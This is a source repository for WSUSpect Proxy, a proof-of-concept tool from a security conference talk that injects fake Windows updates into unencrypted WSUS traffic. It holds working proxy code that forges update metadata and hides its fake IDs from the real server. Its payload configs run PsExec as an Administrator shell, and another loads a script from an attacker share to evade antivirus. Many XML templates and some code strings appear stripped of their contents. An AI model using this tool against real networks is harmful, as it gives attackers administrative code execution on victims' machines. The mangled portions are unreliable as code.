├── .gitignore ├── LICENSE.txt ├── README.md ├── intercepting_proxy.py ├── payloads └── payloads.ini ├── requirements.txt ├── screenshots ├── fakeupdate.png └── output.png ├── templates ├── SyncUpdatesResult.xml ├── bundle_extended_xml1.xml ├── bundle_extended_xml2.xml ├── bundle_xml.xml ├── install_extended_xml1.xml ├── install_extended_xml2.xml └── install_xml.xml ├── update_modifier.py └── wsuspect_proxy.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.exe 2 | *.pyc 3 | __pycache__ -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Context Information Security Ltd. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WSUSpect Proxy 2 | 3 | Written by Paul Stone and Alex Chapman, [Context Information Security](http://www.contextis.com) 4 | 5 | ## Summary 6 | 7 | This is a proof of concept script to inject 'fake' updates into non-SSL WSUS traffic. 8 | It is based on our Black Hat USA 2015 presentation, 'WSUSpect – Compromising the Windows Enterprise via Windows Update' 9 | 10 | - White paper: http://www.contextis.com/documents/161/CTX_WSUSpect_White_Paper.pdf 11 | - Slides: http://www.contextis.com/documents/162/WSUSpect_Presentation.pdf 12 | 13 | ## Prerequisites 14 | You'll need the Python Twisted library installed. You can do this by running: 15 | ``` 16 | pip install twisted 17 | ``` 18 | 19 | You also need to place a Microsoft-signed binary (e.g. [PsExec](https://technet.microsoft.com/en-gb/sysinternals/bb897553.aspx)) into the payloads directory. 20 | This script has been tested on Python 2.7. It does not yet work with Python 3.x; contributions are welcome. 21 | 22 | ## Usage 23 | To test this out, you'll need a target Windows 7 or 8 machine that is configured to receive updates 24 | from a WSUS server over unencrypted HTTP. The machine should be configured to proxy through the 25 | machine running this script. This can be done by manually changing the proxy settings or via other 26 | means such as WPAD poisoning (e.g. using [Responder](https://github.com/SpiderLabs/Responder)) 27 | ``` 28 | python wsuspect_proxy.py payload_name [port] 29 | ``` 30 | An example payload for PsExec is set up that will launch cmd.exe running as Administrator: 31 | ``` 32 | python wsuspect_proxy.py psexec 33 | ``` 34 | 35 | If you are having problems getting the script to work we'd recommend using a GUI proxy tool 36 | such as Burp (and configuring Burp to use this script as a proxy) to see if the update XML 37 | is being correctly inserted. 38 | 39 | ## Customisation 40 | Modify payloads/payloads.ini to change the payloads and their arguments. 41 | 42 | ## Known Issues 43 | - Currently doesn't support Windows 10 targets 44 | - Doesn't yet support Python 3 45 | 46 | ## Screenshots 47 | 48 | ![WSUSpect in action](screenshots/fakeupdate.png "WSUSpect in action") 49 | 50 | ![WSUSpect script output](screenshots/output.png "WSUSpect script output") 51 | -------------------------------------------------------------------------------- /intercepting_proxy.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2015 Context Information Security Ltd. 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | try: 24 | from cStringIO import StringIO 25 | except: 26 | from io import BytesIO as StringIO 27 | 28 | try: 29 | from urlparse import urlparse, urlunparse 30 | except: 31 | from urllib.parse import urlparse, urlunparse 32 | 33 | from twisted.internet import reactor 34 | from twisted.python.log import startLogging 35 | from twisted.web import server, resource, proxy, http 36 | from twisted.python.filepath import FilePath 37 | 38 | # add timeout features to the ProxyClient requests 39 | from twisted.protocols.policies import TimeoutMixin 40 | 41 | 42 | #ProxyClient(twisted.web.http.HTTPClient) 43 | class InterceptingProxyClient(proxy.ProxyClient, TimeoutMixin): 44 | def __init__(self, command, rest, version, headers, data, father): 45 | proxy.ProxyClient.__init__(self, command, rest, version, headers, data, father) 46 | 47 | # Define variables to track a terminated request and set a timeout 48 | # set a callback handler for when a "finish" is reached 49 | self.finished = False 50 | self.setTimeout(20) 51 | d = father.notifyFinish() 52 | d.addBoth(self.onRequestFinished) 53 | 54 | def onRequestFinished(self, message=None): 55 | self.finish() 56 | 57 | def finish(self): 58 | # terminate the connection the proper way 59 | # if the parent had not been terminated, terminate it 60 | if not self.father.finished and not self.father._disconnected: 61 | self.father.finish() 62 | 63 | #if you have not been terminated, terminate it 64 | if not self.finished: 65 | self.transport.loseConnection() 66 | self.setTimeout(None) 67 | self.finished = True 68 | 69 | def connectionMade(self): 70 | # Edge case where the connection terminated prior to the event notification being setup 71 | if self.father._disconnected: 72 | self.finish() 73 | return 74 | 75 | # Send request to web server 76 | proxy.ProxyClient.connectionMade(self) 77 | 78 | def timeoutConnection(self): 79 | # Recognize a timeout 80 | TimeoutMixin.timeoutConnection(self) 81 | 82 | def handleResponsePart(self, buffer): 83 | # Buffer the output if we intend to modify it 84 | if self.father.has_response_modifiers(): 85 | self.father.response_buffer.write(buffer) 86 | else: 87 | proxy.ProxyClient.handleResponsePart(self, buffer) 88 | 89 | def handleResponseEnd(self): 90 | # Process the buffered output if we are modifying it 91 | if self.father.has_response_modifiers(): 92 | if not self._finished: 93 | # Replace the StringIO with a string for the modifiers 94 | data = self.father.response_buffer.getvalue() 95 | self.father.response_buffer.close() 96 | self.father.response_buffer = data 97 | 98 | # Do editing of response headers / content here 99 | self.father.run_response_modifiers() 100 | self.father.responseHeaders.setRawHeaders('content-length', [len(self.father.response_buffer)]) 101 | self.father.write(self.father.response_buffer) 102 | proxy.ProxyClient.handleResponseEnd(self) 103 | 104 | 105 | class InterceptingProxyClientFactory(proxy.ProxyClientFactory): 106 | noisy = False 107 | protocol = InterceptingProxyClient 108 | 109 | #ProxyRequest(twisted.web.http.Request) 110 | class InterceptingProxyRequest(proxy.ProxyRequest): 111 | def __init__(self, *args, **kwargs): 112 | proxy.ProxyRequest.__init__(self, *args, **kwargs) 113 | self.response_buffer = StringIO() 114 | self.request_buffer = StringIO() 115 | self.modifiers = self.channel.factory.modifiers 116 | 117 | def run_request_modifiers(self): 118 | if not self.has_request_modifiers(): 119 | return 120 | 121 | if self.requestHeaders.hasHeader('content-length'): 122 | self.request_buffer = self.content.read() 123 | 124 | for m in self.modifiers: 125 | m.modify_request(self) 126 | 127 | if self.requestHeaders.hasHeader('content-length'): 128 | self.content.seek(0,0) 129 | self.content.write(self.request_buffer) 130 | self.content.truncate() 131 | self.requestHeaders.setRawHeaders('content-length', [len(self.request_buffer)]) 132 | 133 | def has_request_modifiers(self): 134 | ret = False 135 | for m in self.modifiers: 136 | if m.will_modify_request(self): 137 | ret = True 138 | return ret 139 | 140 | def has_response_modifiers(self): 141 | ret = False 142 | for m in self.modifiers: 143 | if m.will_modify_response(self): 144 | ret = True 145 | return ret 146 | 147 | def run_response_modifiers(self): 148 | for m in self.modifiers: 149 | m.modify_response(self) 150 | 151 | def has_response_server(self): 152 | for m in self.modifiers: 153 | if m.will_serve_response(self): 154 | return True 155 | return False 156 | 157 | def serve_resource(self): 158 | body = None 159 | for m in self.modifiers: 160 | if m.will_serve_response(self): 161 | body = m.get_response(self) 162 | break 163 | if not body: 164 | raise Exception('Nothing served a resource') 165 | self.setHeader('content-length', str(len(body))) 166 | if self.method == 'HEAD': 167 | self.write('') 168 | else: 169 | self.write(body) 170 | self.finish() 171 | 172 | def process(self): 173 | host = None 174 | port = None 175 | 176 | if not self.uri.startswith("http://") and not self.uri.startswith("https://"): 177 | self.uri = "http://" + self.getHeader("Host") + self.uri 178 | 179 | parsed_uri = urlparse(self.uri) 180 | self.uri = urlunparse(('', '', parsed_uri.path, parsed_uri.params, parsed_uri.query, parsed_uri.fragment)) or "/" 181 | 182 | if self.has_request_modifiers(): 183 | self.run_request_modifiers() 184 | 185 | if self.has_response_server(): 186 | self.serve_resource() 187 | return 188 | 189 | protocol = parsed_uri.scheme or 'http' 190 | host = host or parsed_uri.netloc 191 | port = port or parsed_uri.port or self.ports[protocol] 192 | 193 | headers = self.getAllHeaders().copy() 194 | if 'host' not in headers: 195 | headers['host'] = host 196 | 197 | if ':' in host: 198 | host,_ = host.split(':') 199 | 200 | self.content.seek(0, 0) 201 | content = self.content.read() 202 | 203 | clientFactory = InterceptingProxyClientFactory(self.method, self.uri, self.clientproto, headers, content, self) 204 | self.reactor.connectTCP(host, port, clientFactory) 205 | 206 | #Proxy(twisted.web.http.HTTPChannel) 207 | class InterceptingProxy(proxy.Proxy): 208 | requestFactory = InterceptingProxyRequest 209 | 210 | class InterceptingProxyFactory(http.HTTPFactory): 211 | protocol = InterceptingProxy 212 | 213 | def add_modifier(self, m): 214 | self.modifiers.append(m) 215 | 216 | def __init__(self, modifier, *args, **kwargs): 217 | http.HTTPFactory.__init__(self, *args, **kwargs) 218 | self.modifiers = [] 219 | self.add_modifier(modifier) 220 | -------------------------------------------------------------------------------- /payloads/payloads.ini: -------------------------------------------------------------------------------- 1 | # WSUSpect payload parameters 2 | # Place MS-signed update binaries in the same directory as this file 3 | 4 | [psexec] 5 | payload = PsExec.exe 6 | args = /accepteula -i 1 cmd 7 | title = Super important security update MS015-ABC 8 | description = Do bad things to your computer! 9 | 10 | [bginfo] 11 | payload = BgInfo.exe 12 | args = \\attacker-ip\unauth_share\bginfo\script.bgi /nolicprompt /timer:0 13 | title = BgInfo payload 14 | description = Bypass AV that blocks PsExec -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | twisted 2 | -------------------------------------------------------------------------------- /screenshots/fakeupdate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctxis/wsuspect-proxy/89f93756e6617e4798a16e6fc8c4e2b186765328/screenshots/fakeupdate.png -------------------------------------------------------------------------------- /screenshots/output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ctxis/wsuspect-proxy/89f93756e6617e4798a16e6fc8c4e2b186765328/screenshots/output.png -------------------------------------------------------------------------------- /templates/SyncUpdatesResult.xml: -------------------------------------------------------------------------------- 1 | 2 | ${bundle_id} 3 | 4 | ${deploy_bundle_id} 5 | Bundle 6 | true 7 | 2015-04-15 8 | 0 9 | 0 10 | 0 11 | 0 12 | 13 | true 14 | ${bundle_xml} 15 | 16 | 17 | ${install_id} 18 | 19 | ${deploy_install_id} 20 | Install 21 | true 22 | 2015-04-15 23 | 0 24 | 0 25 | 0 26 | 0 27 | 28 | true 29 | ${install_xml} 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /templates/bundle_extended_xml1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | ${file_sha256} 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /templates/bundle_extended_xml2.xml: -------------------------------------------------------------------------------- 1 | 2 | en 3 | fake-${bundle_id}-x64 4 | -------------------------------------------------------------------------------- /templates/bundle_xml.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /templates/install_extended_xml1.xml: -------------------------------------------------------------------------------- 1 | 2 | http://support.microsoft.com 3 | MS15-041 4 | 3037581 5 | -------------------------------------------------------------------------------- /templates/install_extended_xml2.xml: -------------------------------------------------------------------------------- 1 | 2 | en 3 | ${update_title} 4 | ${update_description} 5 | This software update can be removed by selecting View installed updates in the Programs and Features Control Panel. 6 | http://support.microsoft.com/kb/3037581 7 | http://support.microsoft.com 8 | -------------------------------------------------------------------------------- /templates/install_xml.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /update_modifier.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2015 Context Information Security Ltd. 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | import random 24 | import uuid 25 | import re 26 | import hashlib 27 | import base64 28 | import os 29 | import string 30 | from os.path import splitext, basename 31 | try: 32 | from urlparse import urlparse 33 | except: 34 | from urllib.parse import urlparse 35 | 36 | from xml.sax.saxutils import escape 37 | 38 | class FakeWsusUpdate(object): 39 | def __init__(self, payload, args, title, description): 40 | self.payload_path = os.path.join('payloads', payload) 41 | self.payload_args = args 42 | self.title = title 43 | self.description = description 44 | 45 | # These can be any number that doesn't clash with an existing update ID 46 | self.bundle_id = 17999990 47 | self.install_id = self.bundle_id + 1 48 | 49 | # Not sure of the difference between above IDs and 'deploy' IDs 50 | self.deploy_bundle_id = 899990 51 | self.deploy_install_id = self.deploy_bundle_id + 1 52 | 53 | # The payload will be downloaded to a temporary file with this name 54 | self.orig_filename = 'Windows-KB890830-V5.22.exe' 55 | 56 | if not os.path.exists(self.payload_path): 57 | raise Exception('File %s not found - you need to have an MS-signed executable' % self.payload_path) 58 | 59 | self.__gen_file_hashes() 60 | self.download_path = self.__gen_download_path() 61 | 62 | def __gen_file_hashes(self): 63 | hash1 = hashlib.sha1() 64 | hash256 = hashlib.sha256() 65 | 66 | with open(self.payload_path, 'rb') as f: 67 | data = f.read() 68 | hash1.update(data) 69 | hash256.update(data) 70 | 71 | self.payload_sha1 = base64.b64encode(hash1.digest()) 72 | self.payload_sha256 = base64.b64encode(hash256.digest()) 73 | self.payload_sha1_hex = hash1.hexdigest() 74 | 75 | def __gen_download_path(self): 76 | # The download URL can be anything, since we're proxying everything 77 | # But we'll make it look like a genuine WSUS URL 78 | # Beware that the WU heavily caches URLs - if you reuse a URL it's 79 | # downloaded before it will always use the cached version 80 | _, ext = splitext(basename(self.payload_path)) 81 | hash = self.payload_sha1_hex.upper() # maybe we should use a random hash? 82 | path = '/Content/%s/%s%s' % (hash[-2:], hash, ext) 83 | return path 84 | 85 | def download_url(self, wsus_host): 86 | url = 'http://%s%s' % (wsus_host, self.download_path) 87 | return url 88 | 89 | def get_data(self): 90 | with open(self.payload_path, 'rb') as f: 91 | data = f.read() 92 | return data 93 | 94 | class WsusXmlModifier(object): 95 | WSUS_SOAP_ACTION = "http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService" 96 | 97 | def __init__(self, fake_update, template_dir = 'templates'): 98 | self.update = fake_update 99 | self.template_dir = template_dir 100 | 101 | def will_serve_response(self, req): 102 | parsed_uri = urlparse(req.uri) 103 | return parsed_uri.path == self.update.download_path 104 | 105 | def will_modify_response(self, req): 106 | action = req.getAllHeaders().get('soapaction', None) 107 | return action and WsusXmlModifier.WSUS_SOAP_ACTION in action 108 | 109 | def will_modify_request(self, req): 110 | action = req.getAllHeaders().get('soapaction', None) 111 | return action and WsusXmlModifier.WSUS_SOAP_ACTION in action 112 | 113 | def get_response(self, req): 114 | if req.method == 'GET': 115 | print('Serving payload %s (%s)' % (basename(self.update.payload_path), self.update.title)) 116 | req.setHeader('content-type', 'application/octet-stream') 117 | return self.update.get_data() 118 | 119 | def modify_request(self, request): 120 | headers = request.getAllHeaders().copy() 121 | 122 | # Remove compression header 123 | if headers.get('accept-encoding', '') == 'xpress': 124 | request.requestHeaders.setRawHeaders('accept-encoding', ['utf-8']) 125 | 126 | content = request.request_buffer 127 | if '': self.__modify_sync_update_response, 134 | 'true' in content: 140 | return 141 | 142 | for search, fn in inject_fns.iteritems(): 143 | if search in content: 144 | content = fn(content, request) 145 | request.response_buffer = content 146 | 147 | def __modify_extended_update_response(self, content, request): 148 | print('Adding fake update metadata to GetExtendedUpdateInfoResult') 149 | update_xml = self.__gen_extended_update_response_xml().encode('utf-8') 150 | file_xml = self.__gen_file_location_xml(request.getAllHeaders()['host']).encode('utf-8') 151 | 152 | if '' in content: 153 | # There are real updates in the WSUS response, so add ours to the end 154 | content = content.replace('', '%s' % update_xml) 155 | else: 156 | # The WSUS server didn't return any updates, so add our own 157 | content = content.replace( 158 | '', 159 | '%s' % update_xml) 160 | 161 | if '' in content: 162 | content = content.replace('', '%s' % file_xml) 163 | else: 164 | content = content.replace('', '%s' % file_xml) 165 | return content 166 | 167 | def __gen_file_location_xml(self, host): 168 | url = self.update.download_url(host) 169 | hash = self.update.payload_sha1 170 | xml = '%s%s' % (hash, url) 171 | return xml 172 | 173 | def __gen_extended_update_response_xml(self): 174 | update = self.update 175 | fields = { 176 | 'filename': update.payload_path, 177 | 'prog_args': update.payload_args, 178 | 'file_len': os.path.getsize(update.payload_path), 179 | 'file_sha1': update.payload_sha1, 180 | 'file_sha256': update.payload_sha256, 181 | 'orig_filename' :update.orig_filename, 182 | 'bundle_id': update.bundle_id, 183 | 'update_title': update.title, 184 | 'update_description': update.description 185 | } 186 | 187 | updates = ( 188 | (update.bundle_id, self.get_template('bundle_extended_xml1.xml')), 189 | (update.install_id, self.get_template('install_extended_xml1.xml')), 190 | (update.bundle_id, self.get_template('bundle_extended_xml2.xml')), 191 | (update.install_id, self.get_template('install_extended_xml2.xml')) 192 | ) 193 | 194 | xml = '' 195 | for id, xml_template in updates: 196 | xml_part = xml_template.substitute(fields) 197 | xml += '%s%s\n' % (id, escape(xml_part)) 198 | return xml 199 | 200 | def __remove_fake_ids(self, content): 201 | # remove our injected update IDs from request to real WSUS server 202 | # if we don't the WSUS server will tell the client to 'forget' 203 | # about our fake IDs 204 | injected_ids = (self.update.bundle_id, self.update.install_id) 205 | regex = '(%s)' % '|'.join(map(str, injected_ids)) 206 | content = re.sub(regex, '', content) 207 | return content 208 | 209 | def __modify_sync_update_response(self, content, request): 210 | print('Adding fake update metadata to SyncUpdatesResult') 211 | data = self.__gen_sync_update_response_xml() 212 | if '' in content: 213 | content = content.replace('', '%s' % data) 214 | else: 215 | content = content.replace('', '%s' % data) 216 | return content 217 | 218 | def __gen_sync_update_response_xml(self): 219 | update = self.update 220 | guids = { 221 | 'install_guid': uuid.uuid4(), 222 | 'bundle_guid': uuid.uuid4() 223 | } 224 | 225 | fields = { 226 | 'bundle_id': update.bundle_id, 227 | 'install_id': update.install_id, 228 | 'deploy_bundle_id': update.deploy_bundle_id, 229 | 'deploy_install_id': update.deploy_install_id, 230 | 'install_xml': escape(self.get_template('install_xml.xml').substitute(guids)), 231 | 'bundle_xml': escape(self.get_template('bundle_xml.xml').substitute(guids)) 232 | } 233 | xml = self.get_template('SyncUpdatesResult.xml').substitute(fields) 234 | return xml 235 | 236 | def get_template(self, filename): 237 | path = '%s/%s' % (self.template_dir, filename) 238 | with open(path, 'r') as f: 239 | s = f.read() 240 | return string.Template(s) 241 | -------------------------------------------------------------------------------- /wsuspect_proxy.py: -------------------------------------------------------------------------------- 1 | # The MIT License (MIT) 2 | # 3 | # Copyright (c) 2015 Context Information Security Ltd. 4 | # 5 | # Permission is hereby granted, free of charge, to any person obtaining a copy 6 | # of this software and associated documentation files (the "Software"), to deal 7 | # in the Software without restriction, including without limitation the rights 8 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | # copies of the Software, and to permit persons to whom the Software is 10 | # furnished to do so, subject to the following conditions: 11 | # 12 | # The above copyright notice and this permission notice shall be included in 13 | # all copies or substantial portions of the Software. 14 | # 15 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | # THE SOFTWARE. 22 | 23 | import os.path 24 | import sys 25 | try: 26 | import configparser 27 | except ImportError: 28 | import ConfigParser as configparser 29 | 30 | from twisted.internet import reactor 31 | from twisted.python.log import startLogging 32 | 33 | from intercepting_proxy import InterceptingProxyFactory 34 | from update_modifier import WsusXmlModifier, FakeWsusUpdate 35 | 36 | PROXY_PORT = 8080 37 | 38 | config = configparser.RawConfigParser() 39 | config.read(os.path.join('payloads', 'payloads.ini')) 40 | 41 | if len(sys.argv) < 2: 42 | print('Usage: %s payload_name [port]' % sys.argv[0]) 43 | print('e.g. %s psexec' % sys.argv[0]) 44 | sys.exit(-1) 45 | 46 | port = PROXY_PORT 47 | if len(sys.argv) > 2: 48 | port = int(sys.argv[2]) 49 | 50 | payload_name = sys.argv[1] 51 | params = dict(config.items(payload_name)) 52 | psexec_update = FakeWsusUpdate(**params) 53 | 54 | wsus_injector = WsusXmlModifier(psexec_update) 55 | proxy = InterceptingProxyFactory(wsus_injector) 56 | 57 | startLogging(sys.stdout) 58 | reactor.listenTCP(port, proxy) 59 | reactor.run() 60 | --------------------------------------------------------------------------------